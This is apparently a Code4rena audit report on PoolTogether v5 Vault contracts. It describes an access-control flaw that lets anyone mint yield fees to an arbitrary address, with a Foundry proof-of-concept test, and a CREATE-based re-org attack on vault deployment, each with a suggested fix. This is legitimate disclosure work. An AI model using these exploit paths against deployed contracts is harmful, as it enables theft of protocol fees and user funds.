PoolTogether - 0xMirce's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394

Vulnerability details

Impact

The mintYieldFee function can be called by anyone, and the yieldFee can be sent to any address. In that way, anyone can get a yield fee. Also, there is a storage variable yieldFeeRecipient (and setter function setYieldFeeRecipient with onlyOwner modifier), so the yieldFee should be sent to this address.

Proof of Concept

function testLiquidateAndMintFeesPOC() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
    vault.setYieldFeeRecipient(bob);

    uint256 _amount = 1000e18;

    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));

    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

    _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

    vm.stopPrank();

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    assertEq(vault.balanceOf(eve), 0);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

    vm.expectEmit();
    emit MintYieldFee(address(this), eve, _yieldFeeShares);

    vault.mintYieldFee(_yieldFeeShares, eve);

    assertEq(vault.balanceOf(eve), _yieldFeeShares);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yieldFeeShares);
    assertEq(vault.yieldFeeTotalSupply(), 0);
  }

As you can see from the code above, _yieldFeeRecipient is the bob address, but the mintYieldFee function is called with eve address for function parameter _recipient, so the yieldFee is sent to the eve address. In that way, it is proved that the yieldFee could be sent to any address.

Tools Used

Manual review

Recommended Mitigation Steps

Parameter _recipient should be removed from the mintYieldFee function and the yieldFee should be sent to the _yieldFeeRecipient address.

function mintYieldFee(uint256 _shares) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_yieldFeeRecipient, _shares);

    emit MintYieldFee(msg.sender, _yieldFeeRecipient, _shares);
  }

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/VaultFactory.sol#L67:#L78

Vulnerability details

Impact

The deployVault function deploys a vault contract using the create, where the address derivation depends only on the VaultFactory nonce.

Re-orgs can happen in all EVM chains. On some chains (Polygon, Optimism, Arbitrum) re-orgs are more common than on Ethereum Mainnet. For Polygon, here you can see that re-org happens pretty often: https://polygonscan.com/blocks_forked. But also, Ethereum Mainnet is not immune to re-orgs. The last one happened about a one year ago: https://decrypt.co/101390/ethereum-beacon-chain-blockchain-reorg.

In answers to questions on https://code4rena.com/contests/2023-07-pooltogether, the PoolTogether team didn't answer anything for questions - Does it use rollups?: and - Is it multi-chain?:. On the other side, on PoolTogether V4 documentation https://dev.pooltogether.com/protocol/deployments/mainnet/, it is written that PoolTogether V4 is deployed on Ethereum Mainnet, Polygon, and Optimism, all networks where reorgs are possible (especially on Polygon, where reorgs happen pretty often).

Also, this attack vector is not new, it was already found in the previous Code4rena audits, where it is marked and judged as a medium: https://code4rena.com/reports/2023-01-rabbithole/#m-01-questfactory-is-suspicious-of-the-reorg-attack https://code4rena.com/reports/2023-04-frankencoin#m-14-re-org-attack-in-factory

Proof of Concept

Imagine that Alice deploys a new vault, and then sends funds to it. Bob sees that the network block re-org happens and calls deployVault. Thus, it creates a vault with an address to which Alice sends funds. Then Alice's transactions are executed, and Alice transfers funds to Bob’s vault contract.

Tools Used

Manual review, past audits

Recommended Mitigation Steps

Deploy vaults via create2 with a specific salt that includes msg.sender and address _asset

function deployVault(
    IERC20 _asset,
    string memory _name,
    string memory _symbol,
    TwabController _twabController,
    IERC4626 _yieldVault,
    PrizePool _prizePool,
    address _claimer,
    address _yieldFeeRecipient,
    uint256 _yieldFeePercentage,
    address _owner, 
    bytes32 _salt
  ) external returns (address) {
    Vault _vault = new Vault{salt: _salt}(
      _asset,
      _name,
      _symbol,
      _twabController,
      _yieldVault,
      _prizePool,
      _claimer,
      _yieldFeeRecipient,
      _yieldFeePercentage,
      _owner
    );
    ...
} 

Also, more information about salted contract creations with create2 can be found here: https://blog.finxter.com/solidity-salted-contract-creations-with-create2/

Assessed type

Other